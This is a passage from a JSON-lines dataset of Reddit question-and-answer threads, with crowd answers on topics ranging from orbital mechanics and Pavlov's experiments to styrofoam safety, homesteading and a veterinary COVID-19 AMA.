momentum is a product of distance and velocity between two objects. Angular momentum is conserved until acted upon by torque (\u201crotational force\u201d). So as an orbiting object approaches closer, it gains lateral velocity, keeping angular momentum the same, until it carries itself away again.\n\nTo send a spacecraft to the Sun, you need to reduce angular momentum, of which we have plenty here in Earth orbit. It seems with our current level of tech, it\u2019s still like trying to enter a speeding car on the freeway. \n\nI do still have a bit of difficulty with the idea, thinking, \u201cwhy don\u2019t we just steer *towards* the Sun?\u201d But without shedding momentum, all you would do is change the shape of your orbit. You could approach closer, but would also fly by much faster at perihelion. ", "Is it actually harder to move towards the sun? We've sent several spacecraft towards Venus, Mercury and the Sun. Were those journeys more difficult?\n\nIs understand that going directly towards the Sun is hard, but is that much harder then heading inwards?\n\nThere are many more spacecraft sent away from the sun, but that's because there are a greater number of interesting things away further out, and more opportunities for gravity assisted acceleration.", "almost every comment here is wrong. A \"sun dive\" is not the most efficient path to intercept the sun. It *is* true that reaching a circular orbit around the sun at d=0 takes far more propellant than solar escape, however it is *not* true that an interception takes more propellant.\n\n*One* way to intercept would be to obtain near escape velocity, wait until you are \"very far\", do an apogee burn to adjust eccentricity to infinity. This path requires the same propellant as solar escape \n\nThe optimal path (without slingshots) would be one where you do small, progressively more efficient apogee burns once per year. I don't know the overall delta V required, but a lot less than solar escape", "The shorter answer is that we are moving really fast, if you throw something away you just need to add some velocity. If you want something to go in you have to slow it down a lot. A very small amount of energy could be used to send something to the sun, aka set a decaying orbit, but it would take like 100000 years to get there.", "Imagine a scale of orbital speeds - at 0 you fall straight towards the Sun, as the speed increases, you get a wider and wider orbit (if it's *very* narrow, the lowest point is \"inside\" the Sun so you'd hit it), and at some point in the end of that scale the speed is large enough to break orbit and escape the Sun at all.  If you do nothing, you keep the same orbit; going one way or another (slowing down or speeding up) takes energy.\n\nIt happens to be that Earth's orbit is more than halfway of that scale, so the \"fly away\" end of that scale is closer. \n\nGravity doesn't help - we are (together with the Earth) flying so fast sideways (30000 m/s, or 67000 mph) that we miss the Sun as it's pulling us towards it. To hit the Sun, we need to reduce that sideways (orbital) speed to near-zero.", "It is true that something standing still in space would passively fall into the sun because of gravity.\n\nBut the earth is moving quickly enough around the sun, that as earth is \"falling\" towards the sun, the forward movement means it will always \"miss\" hitting the sun (also known as being in orbit around something). \n\nAs we launch spacecraft into orbit around earth, or just into space, of course those spacecraft also inherit the earth's speed around the sun. \n\nEven if those spacecraft point themselves directly towards the sun and fire their engines, they will not hit the sun, because the forward motion *around* the sun is still there. So just trying to  accellerate towards the sun will only result in a more elliptical orbit around the sun, not actually hitting the sun. If we try accelerating towards the sun **too** much, the orbit will become too elliptical and we'll reach escape velocity away from the sun after having moved towards it (still not hitting the sun).\n\nThe only way to hit the sun, is to **slow down** enough so that the spacecraft no longer has that forward motion. And that forward motion that the earth is moving with is really, really fast, so we have to slow down **a lot**. \n\nIf we do slow down, we will move closer and closer towards the sun, and finally be able to hit it. \n\nThe difficulty in slowing down so much comes from the fact that fuel weighs alot. If you want to bring more fuel into space, you need a much bigger rocket to lift that fuel into orbit. But a bigger rocket is really heavy, so you will need *even more* fuel to lift it into orbit. So you will need an even bigger rocket to lift *that* extra fuel. But then you need an even **bigger** rocket. And then you need *even more* fuel to lift off.... and so on. Suddenly, you have something so big that you can't possibly take off. \n\nSimply put, it's really difficult getting out into space with enough extra fuel (besides the fuel we needed just to get into orbit, with all that extra fuel as cargo) required to slow down all the forward momentum we have around the sun. At first then can we slow down enough to hit the sun.\n\nAnd that's why it's so difficult to hit the sun."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], ["https://www.youtube.com/watch?v=LHvR1fRTW8g"], [], [], [], [], [], [], [], []]}
{"q_id": "mwr7s", "title": "why was the \"pavlov's dogs\" experiment significant enough to warrant a nobel prize? hadn't people been training dogs and other animals for thousands of years before?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/mwr7s/eli5_why_was_the_pavlovs_dogs_experiment/", "answers": {"a_id": ["c34ghnz", "c34hy4x", "c34ghnz", "c34hy4x"], "score": [10, 3, 10, 3], "text": ["No, it wasn't about training dogs specifically, it was about conditioned behaviors.  It was a completely new branch of psychology that was sparked by these observations.  ", "It wasn't about training dogs.  It was about showing that an unconditional response (salivating when presented with food) could be generated from a conditional stimulus (ringing a bell).", "No, it wasn't about training dogs specifically, it was about conditioned behaviors.  It was a completely new branch of psychology that was sparked by these observations.  ", "It wasn't about training dogs.  It was about showing that an unconditional response (salivating when presented with food) could be generated from a conditional stimulus (ringing a bell)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "46q8f6", "title": "how does suspending a fraternity/sorority affect the students?", "selftext": "Do a bunch of guys/girls in a house need to be sanctioned by the school? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/46q8f6/eli5_how_does_suspending_a_fraternitysorority/", "answers": {"a_id": ["d071hmp"], "score": [5], "text": ["It really depends on the situation and the school.  But,  in the US if your fraternity or sorority is housed off campus there isn't too much they can do to disband your group of friends.  However, they can ban you on campus from engaging in certain social activities and school funded events.  They can basically make it so your organization is not appealing and cut off your ability to recruit members."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2bm036", "title": "Why did the Marines require you to be circumcised to join up in in the 1940s?", "selftext": "In \"Helmet for my Pillow\", Robert Leckie notes that he had had tried to join up right after Pearl Harbor, but they required him to have the operation done which delayed his enlistment until early 1942.\n\nGiven the rapid expansion required of the military at that time, it seems like an awfully silly thing to bother with. Was the reason hygienic? I can see the Marines feeling it might serve the general interest of Marines serving in the Pacific.\n\nWhen did they start requiring it? Was this policy maintained through the war? Afterwards? When was it abandoned?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2bm036/why_did_the_marines_require_you_to_be_circumcised/", "answers": {"a_id": ["cj6ovkm"], "score": [3], "text": [" During World War I, the military led a concerted effort to circumcise soldiers and sailors because it was believed that this would make them less susceptible to venereal disease; military discipline forced men to submit to a procedure they would never have agreed to had it been left to their own decision. Thousands of men were circumcised in their late teens and early 20s. When these men returned home and became fathers, doctors began asking whether they wanted their newborn sons circumcised. Many, remembering the pain that they or their buddies endured from the operation as adults, said yes, thinking it would avoid having to do it later, when the pain was thought to be worse than in infancy. Most babies, however, continued to be born at home and were not circumcised.\n\nBy the outset of World War II, the USA had circumcision rates of about 40-50 per cent and Britain 30 to 40 per cent. Most sources agree that circumcision in the UK continued its climb until just about the outbreak of war. After the Second World War, there was a remarkable split in circumcision rates in the USA and Britain. The UK was absolutely ravaged from war \u2013 there were no spare resources anywhere. The National Health Service, which had originally been planned for the 1930s and delayed, finally came into being quite shakily in July 1948. Most people predicted its imminent failure. While circumcision was theoretically \"included\" in the free procedures, most physicians had real trouble justifying it in the climate of near-poverty. There was thus no financial incentive for unnecessary surgery.\nNotes\n1. Abraham Wolbarst, \"Universal circumcision as a sanitary measure\", Journal of the American Medical Association, Vol. 62, 1914, p. 92-7\n\n2. Richard Miller and Donald Snyder, \"Immediate circumcision of the newborn male\", American Journal of Obstetrics and Gynecology, Vol. 65, 1953, p. 1-11\n\n3. Schaffer and Avery, Diseases of the Newborn (4th edn, Philadelphia: W.B. Saunders, 1977), p. 420\n\n3. Robert Morris, \"Is evolution trying to do away with the clitoris?\", Transactions of the American Association of Obstetricians and Gynecologists, Vol. 5, 1892, p. 293. Morris had of course been inspired by the argument of P.C. Remondino, in his History of circumcision from the earliest times: Moral and physical reasons for its performance (1891), that this was exactly what evolution was trying to do with the male foreskin - though found itself in need of a helping hand from surgeons like him.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6r9xcs", "title": "what are the stolen generations of australia and what was the motive behind it", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6r9xcs/eli5_what_are_the_stolen_generations_of_australia/", "answers": {"a_id": ["dl3ie6z"], "score": [9], "text": ["In short, a lot of White Australians thought that Aborigines were backwards at best, and little more than savages at worst, and wanted to \"save\" their children by taking them away to be raised in boarding schools. The idea was that those Aborigine children would grow up like White Australians and learn the superior European culture. In practice there was an enormous amount of physical and sexual abuse, and when interest in the program waned the children were basically abandoned."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "kocns", "title": "li5; why hasn't scrabble sent a cease  &  desist to words with friends?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/kocns/li5_why_hasnt_scrabble_sent_a_cease_desist_to/", "answers": {"a_id": ["c2lv6dc", "c2lv6dc"], "score": [16, 16], "text": ["Basically you can't copyright the rules to a game like scrabble (You can copyright the word you use to describe the rules but not the actual rules.) as such Scrabble has no right to sue Words with Friends unless they infringe on Scrabble trademark, steal their art, or some other copy written material.", "Basically you can't copyright the rules to a game like scrabble (You can copyright the word you use to describe the rules but not the actual rules.) as such Scrabble has no right to sue Words with Friends unless they infringe on Scrabble trademark, steal their art, or some other copy written material."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "g9z8l", "title": "This may be a naive question, but can't they just have a video camera in a reactor's core so they can see what's happening?", "selftext": "This would be in addition to the many other instruments normally used, of course. It's just that after reading about the details of the Three Mile Island and Chernobyl accidents for years, and now Fukushima, it seems like the reactor operators would have benefited from being able to actually see the fuel rods themselves.\n\nWould it be too difficult to design a camera to survive such an environment? Or would other considerations like lighting prevent it?\n\nEDIT: Rather than respond to each one of you, I just want to say thanks for the helpful responses. I hadn't considered the radiation's effect on the camera, which is silly since I follow NASA's interplanetary probes which constantly have to deal with it. Upvotes all around!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/g9z8l/this_may_be_a_naive_question_but_cant_they_just/", "answers": {"a_id": ["c1m0hea", "c1m0hec", "c1m0id3", "c1m0jz8", "c1m0kky", "c1m0q41", "c1m0rxe"], "score": [22, 85, 5, 14, 2, 8, 2], "text": ["they were having trouble getting power to cooling systems, which leads me to expect that any cameras present were also unpowered. Furthermore, radiation can really mess up electronics. It's not impossible to overcome, just an additional expense. ", "* Radiation affects electronic devices, and will shortly destroy them. \r\n\r\n* Intense heat is melting through steel and concrete, designing a camera to survive this would be difficult if possible.", "[They do have those](_URL_0_) however, when the reactor is on there is most likely too high of a neutron flux to keep these cameras working and they are mostly used in shutdown conditions. Another problem is they don't want to open the pressure vessel and release the pressure, and the camera needs power to work, another thing they don't have there.", "Radiation particles cause large amounts of damage to any circuitry directly exposed to them, for example the CCD sensors in cameras. Charged particles can also shift electrons in memory banks, essentially flipping bits and damaging the firmware, software and memory banks.\nAnd this is before the huge pressure and temperature, of course.\nCheck out youtube for a documentary about the russian engineers still watching over Chernobyl reactor 4...they sent a small r/c robot with a camera in the vessel below the core to see where the fission fuel had melted down to and glassified and the thing only lasted a few minutes, not to mention the particles were actually visible on video as they hit the camera's sensor.", "They do make electronics specifically for use in areas with a high neutron flux, but I doubt anything as complex as a video sensor would last very long as you can't really shield it AND expect to have anything to look at.", "I'm not sure, but if I was designing a monitoring system for a reactor I would use fiber optic cables, and feed the signal to circuitry outside of the reactor. Quartz should be fine up until 1200C, which may not help much in a 2000C meltdown.", "Followup questiom, as I understand the problem with putting it in the reactor, but why arent there general security cameras in the buildings?  Those could at least look at the spent fuel ponds and tell them if there is water there.  A lot of the problems were because they had no idea about the conditions within the building.  I know two buildings in japan exploded, but four didn't.\n\nAlternatively, in this emergency situation, what ever happened to those little helicopter UAVs that  i see online all the time.  Surely theyd function long enough to look inside the buildings that had their roof blown off."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.ahlberg-electronics.com/home"], [], [], [], []]}
{"q_id": "37i19p", "title": "why can't lgbt people form a religion that says that gay marriage is allowed and then sue the government for religious discrimination?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/37i19p/eli5why_cant_lgbt_people_form_a_religion_that/", "answers": {"a_id": ["crmuoyk", "crmuqhv", "crmusc8", "crmux32", "crmvqel", "crmvu54"], "score": [3, 15, 3, 3, 2, 2], "text": ["There already are religions that extend marriage to LGBT people. And there have been people attempting legal battles to promote equal rights.", "Legal marriage is not a religious process.  No one is stopping gay couples from having a wedding ceremony in a church.  That is, and has always been, legal.  They just cannot obtain a marriage license from the government, and having same-sex marriage as a religious doctrine will not change whether or not the state will issue them a license, because a marriage license is a legal contract, and is not directly related to the ceremony.", "Religious freedom doesn't mean that the government has to change its laws to fit everyone's faith. The government can't stop you from practicing your religion (unless its practices are dangerous), but it doesn't have to help you.\n\nThey would basically say \"go ahead, have a gay marriage which is recognized by your faith.\" They don't have to grant the marriage any sort of legal status, they just can't prevent people from holding the service.", "Actually, some churches have used that argument. The United Church of Christ in North Carolina did that: \"It's the first time for a national Christian denomination to sue in favor of same-sex marriage, citing restricted freedom of religion. Currently ministers who marry couples without a marriage license can face misdemeanor charges punishable by up to 120 days in jail.\" Source: _URL_0_", "Discordianism allows this.  Actually, we allow any form of marriage, including but not limited to: polygamous, human to animal, human to inanimate object, and human to vague concept.  The only type that needs special permission is straight, monogamous marriages.", "There are a *lot* of churches that will bless and recognize the marriages of same gender couples. And many religious leaders actively calling for legal marriage equality, in part because it's inappropriate for the law to be used by anti-gay denominations to impose their doctrines on everyone.\n\nI'm Episcopalian. I could be married to another man in the church I grew up at. Episcopal clergy have been allowed to bless the marriages of same gender couples since the 80's; the deacon who taught my 7th grade confirmation class was gay, and our church recognized his marriage at a time when the state still considered gay sex a crime. And after the 2011 New York legal marriage equality victory, Bishop Provenzano of Long Island [***ordered*** **gay priests to legally marry their partners**](_URL_0_) if they live in church housing together. Which is the normal rule for Episcopal clergy who live with romantic partners in church housing, but since previously gay priests didn't have the option of legal marriage they were exempt.\n\nBut churches can't just sue the government over marriage. The religious marriage blessing isn't a legal matter, and the legal marriage contract is not a religious document. Churches have been blessing the marriages of same gender couples since long before legal marriage was an option. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://time.com/79734/united-church-of-christ-sues-north-carolina-to-allow-gay-marriage/"], [], ["http://www.christianpost.com/news/ny-episcopal-bishop-orders-gay-clergy-to-get-married-52529/"]]}
{"q_id": "826oow", "title": "styrofoam is a petroleum product. cups are made of styrofoam. how does putting piping hot liquids (such as coffee) in to a petroleum product remain safe for human use?", "selftext": "I imagine over time the chemicals that are released from the hot liquids would build up in your body and cause things like cancer.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/826oow/eli5_styrofoam_is_a_petroleum_product_cups_are/", "answers": {"a_id": ["dv7rkua", "dv7uk09", "dv7xyc5", "dv8a5oj", "dv8kuuw", "dv8w2pz", "dv94914"], "score": [80, 2, 8, 3, 2, 2, 2], "text": ["The molecules in styrofoam are very stable (at room temperature, don't microwave styrofoam). Pieces don't break off and get into the liquid in your cup. Also just because something is a \"petroleum product\" doesn't mean it's as toxic as petroleum. The properties of a substance changes drastically when formed into different molecules, such as the classic example NaCl.  Na is a highly reactive metal. Cl is a deadly gas. Together they make table salt.", "First of all there are 2 different kinds of plastics namely: Thermoplasts and Termoharders.\n\nAs the names implies, a thermoplast will turn liquidish when they get warm. Whereas thermoharders become sturdy as they get warmer. If a plastic is a thermoharder or thermoplast depends on how the atoms and molecules interact with each other, this will go above ELI5 so well just leave it as it is. What is important is the difference between how they interact with heat. A thermoplast will absorb the heat making it flexible whereas the thermoharder tries to withstand the heat. To do this it will sacrifice molecules to take all the warmth, making them unstable and likely to deform or react (decomposition).\n\nSecondly we have the heat conduction. This is how fast warmth travels from one end to another in a material, it also is the rate at which warmth travels from one medium to another (the plastic to air or to your hand, or the liquid inside the cup).\n\nMetals conduct heat very well but plastic doesnt, it sucks at transferring heat from one end to the other side, this is why plastic melts locally. We also know from thermodynamics that heat is easier transferred between the same molecules. This means that heat (or energy) has trouble hopping mediums (it hops when it can better transfer heat to a different medium than it can dissipate in the material). We also know that air is a terrible medium to transfer or store warmth. So we make a plastic that is bad at transferring heat and we mix CO2 into the plastic to make tiny air pockets. This makes the material excellent for making a coffee cup.\n\nSo now how does this relate?\n\nFirst we know that a thermoharder is a bad idea, so we'll use a thermoplast since that will try and absorb the heat instead of dumping molecules, minimising the risk of plastic getting into the water. The problem is that a thermoplast is terrible at keeping its shape once it absorbs too much heat. Also it will probably burn your hands. So we make a thermoplast which we trap CO2 in to make tiny pockets of gas to stop the heat from reach our hands and to make the plastic have cooler spots (the air pockets) so it creates a sturdy structure within the cup.\n\nAlso plastics are cheap to produce. This is why we use styrofoam.\n\n1. It insulates well so we dont burn our hands.\n\n2. Low risk of plastic dissolving in the liquid since it is a thermoplast.\n\n3. Plastic is cheap to mass produce.\n\nI hope it clears it up a bit.\n\n(Note: If I could have explained it better or if I am factually incorrect please tell me and I'll edit the post, I tried to keep it as simple as possible)", "There is an assumption in the question that Styrofoam is toxic because it is \"a petroleum product\". Polystyrene is a polymer of the styrene molecule. Styrene exists in nature and was first extracted from plant resin. It is toxic but not because it's \"a petroleum product\", it's structure makes it toxic whether or not it comes from a natural or synthetic source.  \n   \nYou can make perfectly safe \"petroleum products\" and there are plenty of naturally occurring chemicals that are carcinogenic.", "In chemistry \"a product of X\" is nowhere similar to \"being like X\".\n\nTable salt is \"a product of sodium and chlorine\" either of which are poisonous by themselves.\n\nChemical changes actually produce a **new substance** that acts different.  \n\nAnother example:  two oxygen atoms linked together gives us \"O2\" - the air we are breathing right now;  THREE oxygen atoms linked together gives us OZONE - which would kill us in the same concentration.", "Unless you heat a fluoropolymer to over 300C it is pretty safe. Like, chew it up and eat cereal bowl full of it and all you have to worry about is it being abrasive to your insides. Won't cause cancer or anything.\nAbove that point, though... Poly flu is nasty stuff.\n\nSource: I read the Material Safety Data Sheets\nSeriously, it's like\n-IF MATERIAL IS HOT DON'T TOUCH IT BECAUSE IT IS HOT AND HOT THINGS BURN\n-DON'T EAT IT BECAUSE IT IS HARD AND POKEY\n-OH AND IF YOU HEAT IT ABOVE 300C AND SNORT FUMES YOU'LL GET REALLY, REALLY SICK", "Chemistry doesn't work how you would think. H2O (Water) is made up of 2 Hydrogen Atoms and one Oxygen atom. Hydrogen alone is flammable. Hydrogen and Oxygen together is more flammable. However when bound together forming the H2O molecule you get water, which puts out fires.\n\nSimilarly the byproducts of petroleum have entirely different characteristics to the original molecule.", "Styrofoam cups are made for single use dispensing. Food and liquids are not stored in them, so the danger of leaching is less. The reason it's safe to put piping hot liquid in it is that it's melting point is far above the boiling point of water. The cup would start to deform and sag, long before any leaching would occur and you'd toss it. \n\nBecause it is a petroleum product though, you have to be careful putting other petroleum products in styrofoam cups. I found this out when I was 13 and tried to use a cup to pour gas into a lawn mower, and suddenly the cup got very light and I looked down to see the bottom was gone lol. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "6ydhyh", "title": "How does a radar measure a rotational speed of a baseball?", "selftext": "`Start Speed: 88.3 mph  \nSpin Rate: 1710.4 rpm`\n\nYou can easily see these kinds of stats in baseball forums.  \nHow do you measure a spin rate of a ball?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6ydhyh/how_does_a_radar_measure_a_rotational_speed_of_a/", "answers": {"a_id": ["dmmsrxe"], "score": [5], "text": ["The patent that describes it seems to be [US 20140191896 A1: Ball spin rate measurement](_URL_0_).  It talks about golf balls, but the technique is obviously applicable to baseballs (and probably easier, because they need to have a \"non-homogeneous feature on the ball\" -- which on a baseball would presumably be the seams).\n\n > In one example, a method of determining a spin rate of a projectile comprises receiving a reflected signal of microwave radiation incident on the projectile during a rotational trajectory of the projectile, the projectile including a non-homogeneous feature at or near a surface of the projectile; detecting, by at least one processor, modulation of the reflected signal attributable to the feature; and calculating the spin rate of the projectile based on the detected modulation.\n\nIt's analogous to the familiar Doppler effect on sounds; something coming toward you has the waves compressed, away has the waves lengthened. On a spinning ball, part is coming toward you (say the bottom, on a fastball with backspin) and part is going away (the top), and the radar can detect this difference (48,000 measurements per second) and interpret it.\n\nNote that the earlier system, PITCHf/x, did not measure spin, but inferred the amount of functional spin based on the amount of movement on the ball, which is usually caused by spin.  It fell down in the case of knuckleballs, which move for other reasons than pure spin.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.google.com/patents/US20140191896"]]}
{"q_id": "6cmf24", "title": "I've acquired land in the west in 19th century America. Without taking 40 trips a day to Home Depot, how do I go about acquiring and transporting all the materials and tools I need to build a house?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6cmf24/ive_acquired_land_in_the_west_in_19th_century/", "answers": {"a_id": ["dhw69ob", "dhwes2a"], "score": [625, 104], "text": ["Hi, thanks for the great and fascinaring question. The answer is, as always, it depends. It depends upon a lot of factors, such as when in the 19th century you are settling the \"west.\"\n\nFor example, the settlers who came to the Northwest Territory ( what would be Ohio, Indiana, Illinois, and such) often brought lots of tools with them. As did those who traveled the famous ( or infamous) Oregon Trail. That's not to say that they brought everything, but some basics like nails, saws, hammers, axes, and the like would have been indispensible. Settler's buiding skills also would have varied too, with neighbors relying upon each other for manpower and skillsets. Early houses were little more sophisticated than log cabins: (Harrison campaigned on being a frontier child, \"born in a log cabin,\" long before Lincoln for example) or made out of whatever material was close to hand.\n\nLater western expansion benefited from advances in technology and trade. Settlers to the Oregon territory in the mid- to late(ish) 19th century would enjoy supplies grom British and American (and other) traders. Whereas early settlers were mostly trappers and traders who made friends with (or married into) native tribes to have that help they seperately needed, by the 1850s and later, trade would have brought supplies, and expertise, by sea. \n\nBy the end of the 19th century, settling was not nearly so tough. As trains serviced more areas, and telegraphs made communication faster, it was entirely possible to mail order everything you needed from house plans ( complete with supplies and instructions; thank you Montgomery Ward and Sears  &  Roebuck!) to a bride. Granted, it took days or weeks to get what you needed, but it wasn't as onerous as in previous decades. At least you didn't have to make your \"house\" out of sod, canvas, and whatever else you could scrounge up!\n\nEdit: I am on my phone and don't really have much in the way of sources close to hand so forgive the general vagueness. And spelling errors.", "To expand upon /u/VetMichael has said, the exact process will vary depending upon your precise location and time period, particularly whether a railroad is nearby. **In general, however, you'd be relying upon local resources, knowledge and your own tools to erect a home of your own design.** \n\nThere are two particular museums that I'd recommend for this topic. The first is [Kansas City's Arabia Steamboat Museum](_URL_0_), which is devoted to a steamboat (and its cargo) recovered from the Missouri River after it sank in 1856. The *Arabia* was absolutely loaded with homebuilding supplies bound for 16 downs along the Missouri River. The second is [the Homestead National Monument of America in Nebraska](_URL_1_). The Homestead Act of 1862 was the legal vehicle for the white acquisition of land throughout the American West, and it defined a huge proportion of subsequent settlement west of the Mississippi River in the United States.\n\nIn the 19th century West, your tools and your skills are the most important things you'll need. Unless you're near a railroad line (and before the 1870s, those are nearly nonexistent between the Mississippi River and California), you'll only have what you brought with you. That means bringing sturdy tools, caring for them, and borrowing from neighbors (even if those neighbors are miles away). Your skills as a carpenter are critical as well, because you'll use your tools to build your home with the resources the land provides.\n\nIf you're an early settler, you're going to pick a wooded spot near a creek. Timber is an invaluable resource, and the creek will give you fresh water to drink. A deeper creek or a river might also be a transportation route, which is why you see towns and settlements spring up along rivers first.\n\nYour timber will be milled on site; you probably will not have easy access to a sawmill, which means you'll be the one squaring and fitting the logs of your new home. You'll probably have a friend or neighbor helping you; you've probably left your children and wife back at your previous home and will bring them to your newbuilt home once it is done.\n\nIf you're one of the first people in an area, you probably won't have access to hardware and won't be carrying much more than the basics \u2500 probably not much in the way of nails, even. You'll use joinery and wooden pins where necessary, chink your logs with mud or similar material, and use shutters to close the place where the windows will eventually go. You'll use wooden hinges on your one front door, and in place of a doorknob, you'll use a loop of rope or wooden latch.\n\nIf you're near a river, you might have access to a store a few miles away. If the keeper doesn't have what you need, you can order it, and a steamboat will eventually drop it off for you. The storekeeper might deliver it, or simply send you a note to let you know your order is available for pickup. The *Arabia* for example, carried barrels full of doorknobs bound for homes just like yours.\n\nIf you're a later arrival, the streams and creeks might be claimed. You'll have to go farther away, possibly in a place where there are no trees suitable for building (or no trees at all).\n\nIn that case, you have a few options. You can use your draft animal to drag a *sod cutter* and physically cut bricks of turf to serve as a building material and create a *soddy.* You can also dig into a hillside, then enclose the resulting cave, creating a *dugout* home. These homes are dusty, infested by rodents and insects, and generally not your first choice, but they're cheap to construct out of the available materials.\n\nIf you arrive still later, after the railroads, you'll have access to a wealth of hardware and milled lumber \u2500 for a price. You'll be operating within a cash economy here, and while you could even buy a kit home from a catalog by the end of the century, that's a middle-class affectation suitable for someone who's already made it. If you're moving to virgin territory, it's not because you already have money. \n\nIf you're successful with your homesteading, if you're stable enough with your farming or herding, then you'll be ready after a few years to move out of your first home and into something more substantial, something wood-framed and shingled, pleasant to look at and live in. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://1856.com/", "https://www.nps.gov/home/index.htm"]]}
{"q_id": "68ften", "title": "whenever a bottle of poison goes out of date (expires), does it become more or less poisonous?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/68ften/eli5_whenever_a_bottle_of_poison_goes_out_of_date/", "answers": {"a_id": ["dgy4dxv", "dgy4mil", "dgy8ss9", "dgy8xjz", "dgy9pkh", "dgyf6pw"], "score": [427, 25, 8, 8, 4, 2], "text": ["First, we must understand that a poison can be anything. Whether it acts as a poison or not depends on the dose. Having said that poisons which depend on the shape of the molecule like Ricin have been shown to degrade and become less effective. On the other hand Potassium thiocyanate which is 'mildly' poisonous decomposes to give Cyanides which are more poisonous. ", "The expiration date is the date beyond which the chemical's properties can not be expected to be the same as when it was new. That may make it less or more poisonous. Many \"poisons\" have uses other than poisoning. Some are used as medicine. ", "\"Asking for a friend?\" are we?", "This isn't a science question -it's just a question of semantics. The definition of \"expired\" is completely up to interpretation and that's what answers the question. Logically the poison should \"expire\" when it is no longer useful, and thus won't do it's job anymore.\n\nSo the more sensible interpretation would be that the poison isn't poisonous anymore.", "I must admit l was thinking the same thing with the recent news about Arkansas and its recent push to execute prisoners asap due to part of the lethal injection reaching its expiry date.", "It would be easier to consider what is meant by expires? Typically it's when something doesn't do what it is supposed to do. If that doesn't happen then it will not 'expire'. So if your poison is intended to make someone ill or dead, no matter how, your poison will only expire if it stops doing that. In reality very few people create a poison without wanting other constraints, such as \"humanely kill\" in which case it could be the humanly bit the stops working and the poison gets more deadly."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "g1ptjq", "title": "AskScience AMA Series: Hello, Reddit! Three members of the veterinary team at the Dog Aging Project are here to answer your questions about dogs and COVID-19. Ask us anything!", "selftext": "The Dog Aging Project is a longitudinal, observational research study that brings together a community of dogs, owners, veterinarians, researchers, and volunteers to carry out the most ambitious canine science project in the world. This ten-year, citizen-science initiative will investigate the biological, lifestyle, and environmental factors that influence healthy aging in dogs, and by extension, humans. To learn more or to join our efforts visit [_URL_5_](_URL_3_).\n\nWe have been closely following the veterinary implications of COVID-19. Currently, two dogs in Hong Kong, a cat in Belgium, and at least one tiger in the US have tested positive for SARS-CoV-2, the novel coronavirus responsible for the current pandemic. Neither of the dogs displayed symptoms of illness. Both cats did. For more details about our current understanding of COVID-19 in pets, please check out [Dogs and COVID-19: What We Know and What We Don't](_URL_1_) and [Human to Animal Transmission of SARS-CoV-2](_URL_0_) on the Dog Aging Project blog. \n\nThere are also excellent resources at [World Organization for Animal Health](_URL_6_), [CDC Recommendations for Pet Owners](_URL_2_), and [Emerging Coronavirus Strains and Veterinary Patients](_URL_9_). \n\nWe're here to answer questions about:\n\n+ Coronaviruses and companion animals\n+ Human-to-animal transmission\n+ Staying safe during the pandemic\n+ Interpreting signs of illness in animals\n+ What to do if your dog gets sick\n+ What we know about veterinary testing for COVID-19\n+Anything else related to dog health and longevity\n\n*We can't diagnose or provide specific medical advice in this forum. If you have concerns about your own health or the health of your companion animals, please contact your own medical or veterinary providers.*\n\nABOUT US:\n\n**Dr. Kate E. Creevy**, DVM, MS, DACVIM, is the Chief Veterinary Officer for the Dog Aging Project, an Associate Professor of Small Animal Internal Medicine at Texas A & M University's College of Veterinary Medicine, and a practicing small animal internist. She has been working on population-level investigations into morbidity and mortality in companion dogs since 2007. She is the cofounder of the Canine Longevity Consortium.\n\n**Dr. Audrey Ruple**, DVM, MS, PhD, DACVPM, MRCVS, is the Assistant Professor of One Health Epidemiology in the Department of Public Health at Purdue University. She is a licensed, clinical veterinarian and is a Diplomate of the American College of Veterinary Preventive Medicine. She is a co-investigator for multiple research programs at the Dog Aging Project.\n\n**Dr. Katherine Tolbert**, DVM, PhD, DACVIM, is a Clinical Associate Professor of Medicine in Small Animal Clinical Science at the Texas A & M University's College of Veterinary Medicine. Her clinical research program is focused on small animal gastroenterology with a specific interest in the investigation of the efficacy of gastroprotectants and the rationale for their use in the treatment of acid-related disorders, organ failure, neoplasia, and inflammatory diseases in dogs and cats. Katie serves as the Veterinary Practice Logistics Liaison for the Dog Aging Project.\n\nJoin the Dog Aging Project at [_URL_8_](_URL_4_).\n\nDr. Creevy, Dr. Ruple, and Dr. Tolbert will take your questions on Wednesday, April 15th from 11am-noon PDT (2pm EDT, 6pm UTC). [We're excited to join you](_URL_7_), ask us anything!\n\nUsernames: dogagingproject, kcreevy", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/g1ptjq/askscience_ama_series_hello_reddit_three_members/", "answers": {"a_id": ["fnjf7zu", "fngyqik", "fngyrcy", "fngyz6a", "fnh1qmv", "fnh4i03", "fnh50h8", 